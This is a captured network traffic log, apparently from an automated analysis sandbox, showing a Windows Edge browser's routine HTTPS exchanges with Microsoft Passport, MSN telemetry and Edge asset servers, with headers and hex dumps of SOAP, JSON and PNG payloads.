2024-04-23 21:02:27 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-23 21:02:27 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 23 Apr 2024 21:01:27 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_SN1 x-ms-request-id: b0e805fd-aa18-4416-ba92-417d0c012f6f PPServer: PPV: 30 H: SN1PEPF0002FA64 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 23 Apr 2024 21:02:26 GMT Connection: close Content-Length: 11392
2024-04-23 21:02:27 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49920	104.208.16.92	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:27 UTC	1037	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1713906145864&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 7581 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00
2024-04-23 21:02:27 UTC	7581	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 34 2d 32 33 54 32 31 3a 30 32 3a 32 35 2e 38 36 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 30 33 61 63 66 62 62 2d 32 63 36 30 2d 34 39 63 61 2d 38 61 64 35 2d 36 35 31 62 30 33 36 61 62 35 30 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 31 34 30 38 36 31 35 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-04-23T21:02:25.863Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"f03acfbb-2c60-49ca-8ad5-651b036ab50a","epoch":"2314086152"},"app":{"loc
2024-04-23 21:02:27 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ba47c99491244a9192727ac64d8d1291&HASH=ba47&LV=202404&V=4&LU=1713906147651; Domain=.microsoft.com; Expires=Wed, 23 Apr 2025 21:02:27 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=1e7929b0c8fb430ebcd17b4c15432655; Domain=.microsoft.com; Expires=Tue, 23 Apr 2024 21:32:27 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1787 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 23 Apr 2024 21:02:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49921	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:27 UTC	955	OUT	GET /service/msn/user?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=pdp-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_Auth=; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; _C_ETH=1
2024-04-23 21:02:27 UTC	3369	IN	HTTP/1.1 404 Not Found Content-Type: application/json; charset=utf-8 Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated Access-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated DDD-AuthenticatedWithJwtFlow: False DDD-UserType: AnonymousMuid DDD-ActivityId: 662821e3-7c77-4618-afd4-d047e32a6ccb DDD-StrategyExecutionLatency: 00:00:00.0011697,00:00:00.0013259 DDD-DebugId: 662821e3-7c77-4618-afd4-d047e32a6ccb\|2024-04-23T21:02:27.8856281Z\|fabric_msn\|ESU\|News_645 DDD-Auth-Features: MuidStateOrigin:MuidFromCookie OneWebServiceLatency: 2 X-MSEdge-ResponseInfo: 2 Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA X-Ceto-ref: 662821e37c774618afd4d047e32a6ccb\|AFD:662821e37c774618afd4d047e32a6ccb\|2024-04-23T21:02:27.880Z X-MSEdge-Ref: Ref A: 2FE1575012CC48F381EA25BFB9807BBB Ref B: BL2EDGE2411 Ref C: 2024-04-23T21:02:27Z Expires: Tue, 23 Apr 2024 21:02:27 GMT Date: Tue, 23 Apr 2024 21:02:27 GMT Content-Length: 74 Connection: close Set-Cookie: _C_ETH=1; expires=Mon, 22 Apr 2024 21:02:27 GMT; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; domain=.msn.com; path=/; httponly Akamai-Request-BC: [a=23.11.231.159,b=402749418,c=g,n=US_GA_ATLANTA,o=20940],[a=204.79.197.203,c=o] Server-Timing: clientrtt; dur=105, clienttt; dur=39, origin; dur=37 , cdntime; dur=2 Akamai-Cache-Status: NotCacheable from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180177ea Access-Control-Allow-Methods: PUT,PATCH,POST,GET,OPTIONS,DELETE Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com X-AS-SuppressSetCookie: 1 Cache-Control: private, max-age=0 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906147.180177ea Vary: Origin
2024-04-23 21:02:27 UTC	74	IN	Data Raw: 7b 20 22 40 6f 64 61 74 61 2e 63 6f 6e 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 6d 73 6e 2e 63 6f 6d 2f 6d 73 6e 2f 24 6d 65 74 61 64 61 74 61 23 75 73 65 72 22 2c 20 22 76 61 6c 75 65 22 3a 20 5b 5d 7d Data Ascii: { "@odata.context": "https://api.msn.com/msn/$metadata#user", "value": []}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49923	104.208.16.92	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:28 UTC	1047	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1713906146384&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4015 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; _C_ETH=1
2024-04-23 21:02:28 UTC	4015	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 34 2d 32 33 54 32 31 3a 30 32 3a 32 36 2e 33 38 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 30 33 61 63 66 62 62 2d 32 63 36 30 2d 34 39 63 61 2d 38 61 64 35 2d 36 35 31 62 30 33 36 61 62 35 30 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 31 34 30 38 36 31 35 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-04-23T21:02:26.383Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"f03acfbb-2c60-49ca-8ad5-651b036ab50a","epoch":"2314086152"},"app":{"loc
2024-04-23 21:02:28 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ba4d493970d64f8fa861a291e0c4faa0&HASH=ba4d&LV=202404&V=4&LU=1713906148145; Domain=.microsoft.com; Expires=Wed, 23 Apr 2025 21:02:28 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=cb77515b17ae4748964f3459ba825b56; Domain=.microsoft.com; Expires=Tue, 23 Apr 2024 21:32:28 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1761 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 23 Apr 2024 21:02:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49925	13.107.213.41	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:28 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:28 UTC	575	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:28 GMT Content-Type: image/png Content-Length: 1966 Connection: close Content-MD5: yR0FOE/y+aftchKyufDqXw== Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 55e30ff2-301e-004d-468f-95aee5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240423T210228Z-16f56cb894fs282r0ebn0f4ra400000001b0000000008x0y Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-23 21:02:28 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49929	13.107.213.41	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:28 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:28 UTC	575	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:28 GMT Content-Type: image/png Content-Length: 1751 Connection: close Content-MD5: ZORImplCDTT4skCQAy0O8w== Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: dc8ef957-201e-001d-5e8f-95b1ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240423T210228Z-16f56cb894f7gqnz50s8mzsvyg000000017g00000000gbqq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-23 21:02:28 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49926	13.107.213.41	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:28 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:28 UTC	575	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:28 GMT Content-Type: image/png Content-Length: 1427 Connection: close Content-MD5: Jcy20mbH7NvS9u1Vk/1CnQ== Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: f55d4e81-701e-0005-288f-959c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240423T210228Z-16f7b4795d4b8mmb4gwx3fz9p0000000065g000000007ny7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-23 21:02:28 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49930	13.107.213.41	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:28 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:28 UTC	562	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:28 GMT Content-Type: image/png Content-Length: 2008 Connection: close Content-MD5: AAgpFFFnVya3tLN79BwQiw== Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: f6aa715f-701e-0005-55c1-959c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240423T210228Z-16f7b4795d446rhxfx5wgh3rk400000001dg000000000qaa Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 59346683 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-23 21:02:28 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
